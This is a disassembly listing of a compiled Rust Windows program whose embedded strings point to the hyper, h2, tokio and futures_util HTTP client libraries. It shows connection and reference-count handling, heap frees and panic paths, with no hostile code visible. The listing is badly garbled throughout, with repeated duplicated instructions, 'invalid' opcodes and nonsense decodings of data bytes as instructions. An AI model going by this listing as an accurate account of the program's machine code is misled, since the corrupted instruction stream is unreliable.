movdqu xmm0, xmmword [r15 + 0x130]
movdqu xmmword [rsi], xmm0
cmp byte [r15 + 0x128], 2
je 0x140078726
mov rcx, qword [rsi]
mov rdx, qword [rsp + 0x200]
call fcn.140100600
cmp al, 2
je case.0x140018f24.2230
movzx eax, al
test eax, eax
jne 0x140077b85
movzx ebx, byte [r15 + 0x128]
mov byte [r15 + 0x128], 2
cmp ebx, 3
je case.0x140018f24.2230
cmp ebx, 2
je 0x140078937
mov r13, qword [r15 + 0x118]
mov rax, qword [r15 + 0x120]
mov qword [rsp + 0x30], rax
mov eax, dword [r15 + 0x12c]
mov dword [rsp + 0xcd3], eax
or al, 0
add byte [rcx - 0x75], al
xchg dword [rcx], ebp
add dword [rax], eax
add byte [rcx + 0xcd02484], cl
add byte [rax], al
or al, 0
add byte [rcx - 0x75], al
xchg dword [rcx], ebp
add dword [rax], eax
add byte [rcx + 0xcd02484], cl
add byte [rax], al
jmp 0x140077c73
mov byte [rdi], 3
mov al, 4
mov byte [r15 + 0x111], al
mov rax, qword [rsp + 0x1f8]
mov byte [rax + 0x70], 3
jmp 0x140078488
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078676
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 5
cmp byte [r15 + 0x128], 2
mov bl, 2
je 0x140077c73
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x140077bd4
mov rcx, qword [rsi]
call fcn.140066cf0
invalid
mov r14, qword [r15 + 0x120]
lock dec qword [r14 + 0x1c8]
jne 0x140077c61
lea rcx, [r14 + 0x80]
mov edx, 1
lock xadd qword [r14 + 0x88], rdx
call fcn.140065900
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [r14 + 0x110]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x110], rcx
jne 0x140077c20
test rax, rax
jne 0x140077c61
mov rax, qword [r14 + 0x100]
mov rcx, qword [r14 + 0x108]
mov qword [r14 + 0x100], 0
lock and qword [r14 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x140077c61
call qword [rax + 8]
lock dec qword [r14]
jne 0x140077c73
mov rcx, qword [r15 + 0x120]
call 0x140066d40
mov eax, dword [rsp + 0xcd0]
mov ecx, dword [rsp + 0xcd3]
mov dword [rsp + 0x3423], ecx
mov dword [rsp + 0x3420], eax
mov byte [rdi], 1
mov eax, dword [rsp + 0x3420]
mov ecx, dword [rsp + 0x3423]
add byte [rcx + 0x1c82484], cl
add byte [rax], al
add byte [rcx + 0x1c82484], cl
add byte [rax], al
mov dword [rsp + 0x1cb], ecx
mov rcx, rsi
call fcn.140072010
cmp bl, 2
jne 0x140077d8c
mov rax, qword [r15 + 0x68]
test rax, rax
je 0x140077cdb
lock dec qword [rax]
jne 0x140077cdb
mov rcx, qword [r15 + 0x68]
mov rdx, qword [r15 + 0x70]
call fcn.140004950
mov rax, qword [r15 + 0xf8]
test rax, rax
je 0x140077d00
lock dec qword [rax]
jne 0x140077d00
mov rcx, qword [r15 + 0xf8]
mov rdx, qword [r15 + 0x100]
call fcn.140004950
mov rax, qword [r15 + 0x108]
test rax, rax
je 0x140077d1e
lock dec qword [rax]
jne 0x140077d1e
lea rcx, [r15 + 0x108]
call fcn.140066480
lea rcx, [r15 + 0xc0]
call fcn.140071ce0
mov rsi, qword [r15 + 0xa0]
test rsi, rsi
je 0x140077d66
mov rdi, qword [r15 + 0xa8]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140077d66
cmp qword [rdi + 0x10], 0x11
jb 0x140077d54
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x30], r13
mov rax, qword [r15 + 0xb0]
lock dec qword [rax]
mov r13b, 2
jne 0x140077d87
mov rcx, qword [r15 + 0xb0]
call fcn.1400398e0
jmp 0x1400783bb
mov dl, 2
cmp byte [r15 + 0x110], 0
jne 0x140077db6
mov eax, dword [rsp + 0x1c8]
mov ecx, dword [rsp + 0x1cb]
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov edx, ebx
lea rbx, [r15 + 0x108]
mov rax, qword [r15 + 0xf0]
mov qword [rsp + 0x3450], rax
movdqu xmm0, xmmword [r15 + 0xc0]
movdqu xmm1, xmmword [r15 + 0xd0]
movups xmm2, xmmword [r15 + 0xe0]
movaps xmmword [rsp + 0x3440], xmm2
movdqa xmmword [rsp + 0x3430], xmm1
movdqa xmmword [rsp + 0x3420], xmm0
mov rcx, qword [r15 + 0xa0]
mov r14, qword [r15 + 0xa8]
mov r12, qword [r15 + 0xb0]
movzx eax, byte [r15 + 0xb8]
mov byte [rsp + 0x38], al
movzx edi, byte [r15 + 0xb9]
lea rax, [r15 + 0xba]
movzx r8d, word [r15 + 0xbe]
mov word [rsp + 0x7c4], r8w
mov r8d, dword [r15 + 0xba]
mov dword [rsp + 0x7c0], r8d
mov r10, qword [r15 + 0x108]
test r10, r10
mov byte [rsp + 0x60], dl
je 0x140077e87
invalid
cmp dl, 2
jne 0x140077ec5
mov rbp, r10
mov byte [rsp + 0x40], dil
test rcx, rcx
je 0x140077efb
mov rsi, rcx
call qword [r14 + 0x18]
mov r11, rax
mov qword [rsp + 0x58], rdx
jmp 0x140077f01
mov rsi, r13
mov r8d, dword [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
mov edx, dword [rsp + 0x113]
mov dword [rsp + 0x13b], edx
mov dword [rsp + 0x138], r8d
mov edx, dword [rax]
mov dword [rsp + 0xd8], edx
movzx eax, word [rax + 4]
mov word [rsp + 0xdc], ax
xor r10d, r10d
jmp 0x140078256
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, cl
xchg ecx, eax
add eax, dword [rax]
add byte [rdi], cl
mov bh, 0x50
add al, 0x66
mov dword [rsp + 0x1c74], edx
movzx edx, word [rax + 4]
mov word [rsp + 0x1c74], dx
mov eax, dword [rax]
mov dword [rsp + 0x1c70], eax
mov eax, dword [rsp + 0x110]
mov edx, dword [rsp + 0x113]
mov dword [rsp + 0x1f0], eax
mov dword [rsp + 0x1f3], edx
mov r9d, edi
jmp 0x140077f6a
mov rsi, rcx
xor r11d, r11d
mov rax, qword [rsp + 0x30]
lock inc qword [r12]
jle case.0x14007476f.2
lock inc qword [r13]
movzx edx, byte [rsp + 0x38]
movzx r8d, byte [rsp + 0x40]
jle case.0x14007476f.2
lock inc qword [rax + 0x1c8]
lock inc qword [rax]
jle case.0x14007476f.2
mov rcx, rsi
mov r10, rbp
movzx eax, word [rsp + 0x7c4]
mov word [rsp + 0x1c74], ax
mov eax, dword [rsp + 0x7c0]
mov dword [rsp + 0x1c70], eax
mov r9b, 2
cmp r8b, 2
jne 0x140077fed
movzx eax, word [rsp + 0x1c74]
mov word [rsp + 0xcd4], ax
mov eax, dword [rsp + 0x1c70]
mov dword [rsp + 0xcd0], eax
jmp 0x140077f8c
pause
mov rax, qword [r10 + 8]
cmp rax, 0xffffffffffffffff
je 0x140077f8a
test rax, rax
test eax, eax
js 0x1400786fa
lea rdx, [rax + 1]
lock cmpxchg qword [r10 + 8], rdx
jne 0x140077f90
mov eax, dword [rsp + 0x1f0]
mov edx, dword [rsp + 0x1f3]
mov dword [rsp + 0x13b], edx
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0xcd0]
mov dword [rsp + 0xd8], eax
movzx eax, word [rsp + 0xcd4]
mov word [rsp + 0xdc], ax
mov edi, r9d
jmp 0x140078253
mov qword [rsp + 0xcd0], r13
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xcd8], rax
mov byte [rsp + 0xce0], 2
mov qword [rsp + 0xce8], rcx
mov qword [rsp + 0xcf0], r14
mov qword [rsp + 0xcf8], r12
mov byte [rsp + 0xd00], dl
mov byte [rsp + 0xd01], r8b
mov eax, dword [rsp + 0x7c0]
mov dword [rsp + 0xd02], eax
movzx eax, word [rsp + 0x7c4]
mov word [rsp + 0xd06], ax
lea rsi, [r10 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r10 + 0x10], cl
mov qword [rsp + 0x50], r11
jne 0x140078527
and al, 0xc0
invalid
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140078545
xor eax, eax
movzx ecx, byte [r10 + 0x11]
test cl, cl
jne 0x14007855c
mov qword [rsp + 0x48], rsi
movzx r14d, byte [rsp + 0x3420]
test r14d, r14d
mov dword [rsp + 0x68], eax
mov rsi, rbx
je 0x140078169
cmp r14d, 2
jne 0x14007816e
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400789c8
mov rbx, rax
mov rdi, r13
mov rax, qword [rsp + 0x3428]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rbx
call qword [r10]
mov r10, rbp
jmp 0x140078179
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140075a94
call fcn.1401105f0
movzx ecx, byte [r14 + 0x11]
test cl, cl
jne 0x140078aa2
inc qword [r14 + 0x238]
test al, al
jne 0x140075aa8
jmp 0x140075abb
call fcn.1401105f0
test al, al
jne 0x140075abb
mov byte [r14 + 0x11], 1
jmp 0x140075abb
lea rcx, str.Uri_should_have_a_schemeXC
lea r8, [0x140144488]
mov edx, 0x18
call fcn.140108990
mov rdi, r13
jmp 0x140078179
mov rdi, r13
movzx eax, byte [rsp + 0x3421]
lea r13, [r10 + 0x18]
lea ebp, [rdx + 0x18]
mov byte [rsp + 0x2130], r14b
mov byte [rsp + 0x2131], al
mov qword [rsp + 0x2138], rbx
lea rcx, [rsp + 0x2140]
lea rdx, [rsp + 0x3448]
mov rax, qword [rsp + 0x3430]
mov r8, qword [rsp + 0x3438]
mov r9, qword [rsp + 0x3440]
call qword [rax]
lea rdx, [rsp + 0x2130]
lea r8, [rsp + 0xcd0]
mov rcx, r13
mov rbx, rsi
mov r9, rsi
call fcn.14006e800
lea rdx, [rsp + 0x3420]
mov rcx, r13
call fcn.140072580
mov r8, qword [rsp + 0x3450]
lea rax, [r8 + 1]
cmp rax, 2
jae 0x1400784c7
mov qword [rsp + 0x3450], 0
cmp byte [rsp + 0x68], 0
mov r13, rdi
mov rcx, qword [rsp + 0x48]
jne 0x140078230
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140078597
xor r10d, r10d
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140078244
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor r10d, r10d
movzx edi, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
mov rsi, r13
movzx r13d, byte [rsp + 0x3420]
test r13d, r13d
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], r10
push rsp
and al, 0x50
push rsp
and al, 0x50
je 0x1400782bb
cmp r13d, 2
jne 0x1400782c0
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400789c8
mov rcx, qword [rsp + 0x3428]
lea rdx, [rcx + 0x18]
sbb byte [rbx + rcx*4 + 0x11], cl
sbb byte [rbx + rcx*4 + 0x11], cl
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov qword [rsp + 0x48], rax
mov rcx, rax
call qword [r10]
xor edi, edi
jmp 0x1400782cb
mov rdi, r13
jmp 0x1400782cb
movzx edi, byte [rsp + 0x3421]
shl edi, 8
lea rdx, [rsp + 0x3448]
mov rax, qword [rsp + 0x3430]
mov r8, qword [rsp + 0x3438]
mov r9, qword [rsp + 0x3440]
lea rcx, [rsp + 0x6a0]
movabs al, byte [0x24848b10ff000006]
cmp byte [rcx], al
add byte [rax], al
movabs al, byte [0x24848b10ff000006]
cmp byte [rcx], al
add byte [rax], al
mov ecx, dword [rsp + 0x13b]
mov dword [rsp + 0x11b], ecx
mov dword [rsp + 0x118], eax
mov eax, dword [rsp + 0xd8]
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xd0], eax
movzx eax, word [rsp + 0xdc]
mov word [rsp + 0xd4], ax
add byte [rax - 0x73], cl
mov word [rax + riz], fs
xor al, 0
add al, ch
movsb byte [rdi], byte [rsi]
cdq
invalid
dec dword [rcx - 0x75]
push 0x74c08548
invalid
je 0x140078358
add byte [rax - 0x73], cl
mov word [rax + riz], fs
xor al, 0
add al, ch
movsb byte [rdi], byte [rsi]
cdq
invalid
sal byte [rbx + rdx - 0x10], 0x48
dec dword [rax]
lock dec qword [rax]
jne 0x140078358
mov rcx, qword [r15 + 0x68]
mov rdx, qword [r15 + 0x70]
call fcn.140004950
clc
invalid
clc
dec dword [rcx - 0x75]
xchg eax, edi
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rbx - 0x10], 0x48
dec dword [rax]
mov rax, qword [r15 + 0xf8]
test rax, rax
je 0x14007837d
lock dec qword [rax]
jne 0x14007837d
mov rcx, qword [r15 + 0xf8]
mov rdx, qword [r15 + 0x100]
call fcn.140004950
or rdi, r13
mov rax, qword [rbx]
movq xmm0, qword [rsp + 0x30]
movq xmm6, rsi
punpcklqdq xmm6, xmm0
movq xmm0, r12
movq xmm7, r14
punpcklqdq xmm7, xmm0
test rax, rax
je 0x1400783b3
lock dec qword [rax]
jne 0x1400783b3
mov rcx, rbx
call fcn.140066480
xor r13d, r13d
mov qword [rsp + 0x30], rdi
mov byte [r15 + 0x111], 1
movzx edi, byte [rsp + 0x38]
movzx r12d, byte [rsp + 0x60]
movzx ebx, byte [rsp + 0x40]
mov rbp, qword [rsp + 0x58]
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
mov r15, qword [rsp + 0xa8]
mov rcx, r15
call fcn.140064820
mov qword [r15], 4
mov rdx, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x30]
mov qword [rdx], rax
mov qword [rdx + 8], rsi
movdqa xmm0, xmmword [rsp + 0x6a0]
movdqa xmm1, xmmword [rsp + 0x6b0]
movdqu xmmword [rdx + 0x10], xmm0
movdqu xmmword [rdx + 0x20], xmm1
jg 0x140078472
and bl, dh
movq qword [rdx + 0x30], mm6
jg 0x140078472
and bl, dh
movq qword [rdx + 0x30], mm6
mov byte [rdx + 0x40], r12b
mov eax, dword [rsp + 0x118]
add dword [rax], eax
add byte [rbx + 0x11b248c], cl
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x11b248c], cl
add byte [rax], al
mov dword [rdx + 0x41], eax
mov dword [rdx + 0x44], ecx
mov qword [rdx + 0x48], rbp
movdqu xmmword [rdx + 0x50], xmm7
mov byte [rdx + 0x60], dil
mov byte [rdx + 0x61], bl
mov eax, dword [rsp + 0xd0]
mov dword [rdx + 0x62], eax
movzx eax, word [rsp + 0xd4]
add byte [rax], al
add byte [rax], al
mov word [rdx + 0x66], ax
mov qword [rdx + 0x68], r14
mov byte [rdx + 0x70], r13b
push 0x70
mov eax, dword [rsp + 0x1c0]
mov ecx, dword [rsp + 0x1c3]
and al, 0xc0
add dword [rax], eax
add byte [rbx + 0x1c3248c], cl
add byte [rax], al
mov dword [rdx + 0x71], eax
mov dword [rdx + 0x74], ecx
movaps xmm6, xmmword [rsp + 0x4710]
movaps xmm7, xmmword [rsp + 0x4720]
movaps xmm8, xmmword [rsp + 0x4730]
movaps xmm9, xmmword [rsp + 0x4740]
add byte [r8], r8b
add byte [r8], r8b
movaps xmm10, xmmword [rsp + 0x4750]
add rsp, 0x4768
push 0x5b000047
push 0x5b000047
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lock dec qword [r8 + 8]
jne 0x140078202
mov rcx, qword [0x140182260]
popfq
adc byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140078202
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_serviceoneshot.rs
mov edx, 0x28
call fcn.140108630
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_serviceoneshot.rs
mov edx, 0x28
call fcn.140108630
mov ecx, 8
mov edx, 0x538
call fcn.1401082c0
mov rcx, rsi
call fcn.140110530
mov r10, rbp
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14007807b
call fcn.1401105f0
mov r10, rbp
xor al, 1
movzx ecx, byte [r10 + 0x11]
test cl, cl
je 0x14007808a
mov qword [rsp + 0x2130], rsi
mov byte [rsp + 0x2138], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fac8]
lea r8, [rsp + 0x2130]
mov edx, 0x2b
call fcn.1401088e0
mov rsi, rcx
call fcn.1401105f0
mov rcx, rsi
test al, al
jne 0x140078230
mov byte [rbp + 0x11], 1
jmp 0x140078230
mov ecx, 8
mov edx, 0x4cf8
call fcn.1401082c0
lea rax, str.librarycore_src_netparser.rs
mov edx, 7
mov rcx, r8
mov r8, rax
call fcn.140108620
or dword [rax], eax
or dword [rax], eax
lea r8, str.librarycore_src_netparser.rs
mov edx, 8
call fcn.140108810
lea r8, str.librarycore_src_netparser.rs
lea eax, [0x140114f88]
mov ecx, 8
mov edx, 7
add byte [rax], al
add al, ch
and byte [rax], al
or dword [rax], eax
invalid
add byte [rax], al
add al, ch
and byte [rax], al
or dword [rax], eax
invalid
add byte [rax - 0x73], cl
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
or eax, 0xc4e61
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.14010d200
lea rcx, str.TryFlatten_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_try_future_try_flatten.rs
lea r8, [0x14013e5c8]
mov edx, 0x22
call fcn.14010d200
mov rax, qword [rsp + 0xa8]
mov qword [rax], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.140108630
mov qword [rax], 4
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.140108630
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x38
call fcn.1401082c0
or byte [rax], al
mov ecx, 8
mov edx, 0x440
call fcn.1401082c0
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
cld
or byte [rax], al
cld
or byte [rax], al
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
cld
or byte [rax], al
cld
or byte [rax], al
lea rax, str.mid___len
mov qword [rsp + 0xcd0], rax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xcd8], 1
mov qword [rsp + 0xce0], 8
test byte [rax + riz*8], ah
or al, 0
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140078665
and al, 0xe8
or al, 0
add byte [rax - 0x73], cl
adc eax, 0xca89b
test byte [rax + riz*8], ah
or al, 0
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140078665
and al, 0xe8
or al, 0
add byte [rax - 0x73], cl
adc eax, 0xca89b
lea rcx, [rsp + 0xcd0]
call fcn.140108560
call fcn.14010e550
lea rcx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x140142db8]
mov edx, 0x1d
add byte [rax], al
add al, ch
jns 0x140078717
or dword [rax], eax
add byte [rax], al
add al, ch
jns 0x140078717
or dword [rax], eax
mov ecx, 8
mov edx, 0x30
add byte [rax], al
add byte [rax], al
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140108970
mov ecx, 8
mov edx, 0x2320
call fcn.1401082c0
mov ecx, 0x80
mov edx, 0x200
call fcn.1401082c0
add byte [rax - 0x73], cl
or eax, 0xb1549
add byte [rax - 0x73], cl
or eax, 0xb1549
lea r8, [0x140129d50]
mov edx, 0x4c
add byte [rax], r8b
add al, ch
enter 0x8fe, 0
add byte [rax], r8b
add al, ch
enter 0x8fe, 0
lea rcx, str.assertion_failed:_max___std::u32::MAX_as_usize
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
mov edx, 0x2f
call fcn.140108630
add byte [rcx + 1], bh
add byte [rcx + 1], bh
mov edx, 0x2000
call fcn.1401082a0
lea rcx, [0x140141050]
call fcn.140108b60
mov ecx, 1
mov edx, 0x4000
call fcn.1401082a0
mov ecx, 1
mov edx, 0x1000
call fcn.1401082a0
mov byte [rsp + 0x2130], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_SETTINGS_frame
lea r9, [0x14013f9a8]
lea r8, [rsp + 0x2130]
mov edx, 0x16
call fcn.1401088e0
mov ecx, 8
mov edx, 0x240
call fcn.1401082c0
mov ecx, 8
mov edx, 0x40
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140108b60
xor eax, eax
mov qword [rsp + 0x2130], rsi
mov byte [rsp + 0x2138], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0x2130]
mov edx, 0x2b
call fcn.1401088e0
lea rax, [0x140140738]
mov qword [rsp + 0x3420], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x3428], rax
lea rax, str.The_max_buf_size_cannot_be_smaller_than
mov qword [rsp + 0xcd0], rax
mov qword [rsp + 0xcd8], 2
mov qword [rsp + 0xcf0], 0
lea rax, [rsp + 0x3420]
mov qword [rsp + 0xce0], rax
mov qword [rsp + 0xce8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
lea rcx, [rsp + 0xcd0]
call fcn.140108560
mov ecx, 8
mov edx, 0x1e8
call fcn.1401082c0
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE_as_usize___val__val___MAX_MAX_FRAME_SIZE_as_usizeC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_read.rs
lea r8, [0x14013e7b8]
mov edx, 0x5e
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
mov ecx, 8
mov edx, 8
call fcn.1401082c0
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
mov ecx, 8
mov edx, 0x60
call fcn.1401082c0
mov ecx, 8
mov edx, 0x48
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140108970
lea rcx, [0x140140c58]
call fcn.140108b60
mov rax, qword [rsp + 0xcd0]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x14007898b
lea rcx, [rsp + 0xcd0]
call fcn.14007b240
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xd0]
dec rsi
mov eax, dword [0x140182314]
add eax, 0x109983
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xd0], rsi
jmp 0x140078a40
mov ecx, 0x80
mov edx, 0x280
call fcn.1401082c0
mov ecx, 8
mov edx, 0xf98
call fcn.1401082c0
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
lea rcx, str.conn.ping_pong
lea r8, [0x140140c80]
mov edx, 0xe
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
sub ch, byte [rsp + rcx]
sub ch, byte [rsp + rcx]
call fcn.140108b60
mov rax, qword [rsp + 0x38]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x140078a85
lea rcx, [rsp + 0x2130]
call fcn.14007b240
jmp 0x140078a85
lea rcx, [rsp + 0xcd0]
call fcn.14007b070
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0xcd0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xcd0]
call fcn.14010dd60
mov ecx, 0x80
mov edx, 0x1000
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
call fcn.140108b60
lea rcx, [rsp + 0x2130]
call fcn.14007b070
mov al, 1
mov byte [rsp + 0xcd0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xcd0]
call fcn.14010dd60
xor al, 1
jmp 0x140078818
mov rdi, rax
mov rax, qword [rbx + 8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rdi
call qword [r10]
mov r10, rbx
jmp 0x140078b7f
jmp 0x140078b86
lea rdx, [r10 + 0x28]
mov rax, qword [r10 + 0x10]
mov r8, qword [r10 + 0x18]
mov r9, qword [r10 + 0x20]
lea rcx, [rsp + 0x70]
call qword [rax]
mov byte [r14], sil
mov byte [r14 + 1], bl
mov qword [r14 + 8], rdi
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r14 + 0x10], xmm0
movdqu xmmword [r14 + 0x20], xmm1
mov qword [r14 + 0x30], 0
jmp 0x140078f33
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400790ec
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140078f33
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, rcx
call fcn.1401105f0
mov rdx, qword [rsp + 0x38]
push rsp
and al, 0x38
push rsp
and al, 0x38
mov rcx, rsi
test al, al
jne 0x140078f25
mov byte [rdx + 0x11], 1
jmp 0x140078f25
invalid
invalid
invalid
invalid
and byte [rax - 0x73], cl
and al, 0x70
mov rdx, qword [rsp + 0xe8]
call qword [rax]
mov rdx, qword [rsp + 0x38]
jmp 0x140079137
pause
mov rax, qword [rdx + 8]
nop dword [rax + rax]
cmp rax, 0xffffffffffffffff
je 0x140079135
test rax, rax
js 0x1400791d1
lea rcx, [rax + 1]
lock cmpxchg qword [rdx + 8], rcx
jne 0x140079140
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x100], xmm0
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x78], al
xor eax, dword [rax - 0x78]
jnp 0x140079180
invalid
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x78], al
xor eax, dword [rax - 0x78]
jnp 0x140079180
invalid
add dword [rcx + rcx*4 + 0x63], ecx
or byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov qword [rbx + 8], r12
mov dword [rbx + 8], esp
movdqa xmm0, xmmword [rsp + 0x100]
movdqa xmm1, xmmword [rsp + 0x110]
movdqu xmmword [rbx + 0x10], xmm0
